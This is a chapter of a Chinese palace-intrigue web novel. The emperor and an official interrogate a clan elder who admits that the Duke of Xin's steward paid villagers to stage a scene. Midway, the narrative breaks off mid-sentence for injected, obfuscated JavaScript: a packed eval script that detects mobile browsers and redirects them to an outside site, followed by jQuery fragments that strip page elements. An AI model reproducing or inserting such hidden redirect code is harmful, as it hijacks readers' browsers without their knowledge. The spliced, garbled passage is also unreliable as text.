28.第 28 章

作品:《太傅给我当牛马

    翌日,日头高悬。


    刘氏一族被带到行宫的偏殿,陆时渊在殿内亲自审问。


    一夜的牢狱之灾,这些人早已没了演戏时的从容,他们衣衫皱乱,面色灰败。


    那个当日主持公道的老者,叫刘仁表,正是现在刘氏一族的族长。


    陆时渊的目光落在刘仁表身上,道:“刘仁表,你可知为什么把你抓来?”


    陆时渊穿着官服,端坐于案后,容貌俊朗,通身的清贵之气,又因不苟言笑,而不怒生威。


    刘仁表不敢上看,只跪伏在地,委屈道:“大人!草民不知啊!我刘氏一族,世居此地,族中一向友爱互助,和睦乡里,不知大人为何将草民等拘来!草民实在不知犯了何错!”


    他说得恳切,眼眶甚至微微泛红,仿佛只是一个无辜受屈的老人。


    陆时渊看着他,目光淡淡的,没有动怒。


    他等刘仁表说完,他才缓缓开口:“本官问你,你前日伙同族人,在申明亭做戏,可知欺骗的人是谁吗?”


    刘仁表听见自己演戏的事被戳破,眼神里闪过一丝心虚。


    他最开始确实不知来人是谁,但今日看着这同行的人自称本官,想来是惹了不得了的贵人,心中不由得有些后悔,自己不该答应那管事的话。


    刘仁表还在沉默着,殿门却忽然被推开。


    一道明黄的身影走了进来。


    阳光打在来人身上,给轮廓上勾勒出一道金边。


    殿内原本站立的人,看见那道明黄的身影,纷纷跪了下来,陆时渊也从案后走了下来行礼。


    众人齐呼:“叩见皇上!”叩拜之声如潮水涌起。


    刘仁表闻言,浑身一震,像是被雷劈中了一般,整个人僵在原地。


    皇上!


    前日那个在申明亭外旁观的年轻人,竟然是皇上!


    刘仁表虽然是刘氏一族的族长,在族内颇有威望,但是他毕竟是个普通百姓,平时见着的知县,都已经是个不得了的大官了,哪里想过还能见着皇上,而且,自己还故作聪明在皇上面前,演了一出戏。


    他呆呆地望着那道明黄的身影,脑子里一片空白。


    姜知玉径自走进殿内,落了座,才抬眼看向跪了一地的人。


    “都起来吧。”


    “谢皇上!”


    众人纷纷起身,退至两旁。


    唯有刘仁表那一干人,依旧跪在地上,浑身发抖。


    在皇上面前演戏,那就是欺君之罪啊!


    刘仁表终于回过神来,额头重重地磕在地上,咚咚作响:“草民……草民有眼无珠!不知是皇上!草民该死!求皇上饶命!”


    他身后那些族人,见族长如此,也被吓住了,也纷纷磕头求饶。


    姜知玉没有说话,只示意陆时渊继续审问。


    陆时渊转头看向刘仁表,缓缓道:“刘仁表,你既知是欺君,所犯何罪,还不从实招来?”


    刘仁表伏在地上,浑身颤抖,不敢再有所欺瞒:“草民招,草民都招……”


    他抬起头,苍老的脸上已经满是泪痕:“是一个月前,信国公府的管家,徐丰,来村里找到草民……”


    信国公……姜知玉的眸光微微一动。


    陆时渊不动声色,示意他继续。


    刘仁表咽了口唾沫,声音发颤:“徐管家说,朝廷要清查学田,皇上要亲临乐源。他说,信国公府想把村里的社学修一修,弄得好看些,让皇上看了高兴。他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254600|197069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还说,让村里把孩子们都送去上课,每个去上课的孩子,一天给五十文钱……”


    “五十文?”陆时渊微微挑眉。


    “是,五十文。”刘仁表点头,“村里那些人家,一听有钱拿,都欢天喜地把孩子送去了,草民当时还觉得,这是好事啊,孩子能念书,还能挣钱……”


    “后来,半个月之前,他又来了,说过些日子可能会有两个生人进村,还给我们看了画像,我当时问他这两人是谁,他只说让我别管,只要见着这两人进村了,就让草民带着人,在申明亭里演一出戏……”


    “演什么戏?”陆时渊问。


    刘仁表的脸涨得通红:“就是……就是演一个父亲不让孩子念书,族老们劝他,劝他送孩子去上学的戏……”


    他指向跪在身后的刘老四和孩子道:“就是他,还有他家小子……”


    姜知玉的目光落在那父子俩身上。


    刘老四跪在地上,也不敢抬头,那孩子被他紧紧搂着,又害怕又茫然。


    刘仁表继续道:“草民本来不敢的,可那管家说,只要演好了,让那两个人信了,整个刘氏一族,免收一年地租!”


    他说到这里,有些激动:“一年地租啊!刘氏一族,百十口人,租种的都是信国公府的田!一年地租免了,那就是……那就是几百两银子啊!”


    “草民……草民鬼迷心窍,一时糊涂,就答应了,可是草民真的不知道是皇上啊!草民要是知道,打死也不敢演这出戏啊!”


    刘仁表越说,声音越低,他身后那些人,也纷纷哭喊着求饶。


    殿内一时哭声一片。


    姜知玉被他们哭得有些烦闷,便厉声道:“去把信国公和他的管事,一同带上来。”